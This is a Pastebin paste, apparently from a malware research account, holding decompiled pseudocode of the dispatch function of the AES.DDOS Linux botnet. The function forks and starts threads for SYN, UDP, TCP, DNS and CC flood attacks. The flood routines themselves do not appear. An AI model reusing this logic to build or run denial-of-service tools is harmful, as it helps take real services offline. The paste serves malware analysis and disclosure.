MalwareMustDie

AES.DDOS::DealWithDDoS()

Feb 10th, 2016
131
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 3.04 KB | None | 0 0
  1. // Malcodes snagged crok its Chinese crooks: AES.DDOS
  2.  
  3. DealwithDDoS()
  4.   result = StopFlag;
  5.   if ( StopFlag )
  6.   {
  7.     StopFlag = 0;
  8.     attMode = *(_DWORD *)(loc.var1 + 388);
  9.     if ( *(_DWORD *)(loc.var1 + 392) > 2 * (cpu_num + 10) )
  10.       *(_DWORD *)(loc.var1 + 392) = 2 * (cpu_num + 10);
  11.     result = childcnt;
  12.     if ( childcnt <= 9 )
  13.     {
  14.       p = fork();
  15.       if ( !p )
  16.       {
  17.         forkFlag = 1;
  18.         close(MainSocket);
  19.         close(MainSocketA);
  20.         close(MainSocketM);
  21.         *(_DWORD *)pid = 0;
  22.         pthread_create(&DDosTime, 0, CreateTimer, *(_DWORD *)(loc.var1 + 404));
  23.         switch ( *(_DWORD *)(loc.var1 + 388) )
  24.         {
  25.           case 1:
  26.             for ( i = 0; *(_DWORD *)(loc.var1 + 392) > i; ++i )
  27.             {
  28.               if ( *(_DWORD *)(loc.var1 + 396) > 40 )
  29.                 pthread_create(&id[4 * i], 0, LSYN_Flood, loc.var1);
  30.               else
  31.                 pthread_create(&id[4 * i], 0, SYN_Flood, loc.var1);
  32.             }
  33.             break;
  34.           case 2:
  35.             for ( j = 0; *(_DWORD *)(loc.var1 + 392) > j; ++j )
  36.               pthread_create(&id[4 * j], 0, UDP_Flood, loc.var1);
  37.             break;
  38.           case 3:
  39.             for ( k = 0; *(_DWORD *)(loc.var1 + 392) > k; ++k )
  40.               pthread_create(&id[4 * k], 0, TCP_Flood, loc.var1);
  41.             break;
  42.           case 4:
  43.             for ( l = 0; *(_DWORD *)(loc.var1 + 392) > l; ++l )
  44.               pthread_create(&id[4 * l], 0, DNS_Flood1, loc.var1);
  45.             break;
  46.           case 5:
  47.             for ( m = 0; *(_DWORD *)(loc.var1 + 392) > m; ++m )
  48.               pthread_create(&id[4 * m], 0, DNS_Flood2, loc.var1);
  49.             break;
  50.           case 6:
  51.             for ( n = 0; *(_DWORD *)(loc.var1 + 392) > n; ++n )
  52.               pthread_create(&id[4 * n], 0, DNS_Flood3, loc.var1);
  53.             break;
  54.           case 7:
  55.             for ( ii = 0; *(_DWORD *)(loc.var1 + 392) > ii; ++ii )
  56.               pthread_create(&id[4 * ii], 0, DNS_Flood4, loc.var1);
  57.             break;
  58.           case 8:
  59.             for ( jj = 0; *(_DWORD *)(loc.var1 + 392) > jj; ++jj )
  60.               pthread_create(&id[4 * jj], 0, CC_Flood, loc.var1);
  61.             break;
  62.           case 9:
  63.             for ( kk = 0; *(_DWORD *)(loc.var1 + 392) > kk; ++kk )
  64.               pthread_create(&id[4 * kk], 0, CC2_Flood, loc.var1);
  65.             break;
  66.           case 0xA:
  67.             for ( ll = 0; *(_DWORD *)(loc.var1 + 392) > ll; ++ll )
  68.               pthread_create(&id[4 * ll], 0, CC3_Flood, loc.var1);
  69.             break;
  70.           case 0xB:
  71.             for ( mm = 0; *(_DWORD *)(loc.var1 + 392) > mm; ++mm )
  72.               pthread_create(&id[4 * mm], 0, UDPS_Flood, loc.var1);
  73.             break;
  74.           case 0xC:
  75.             for ( nn = 0; *(_DWORD *)(loc.var1 + 392) > nn; ++nn )
  76.               pthread_create(&id[4 * nn], 0, UDP_Flood, loc.var1);
  77.             break;
  78.           default:
  79.             break;
  80.         }
  81.         pthread_join(DDosTime, 0);
  82.       }
  83.       result = p;
  84.       *(_DWORD *)pid = p;
  85.     }
  86.   }
  87.   return result;
Advertisement
Add Comment
Please, Sign In to add comment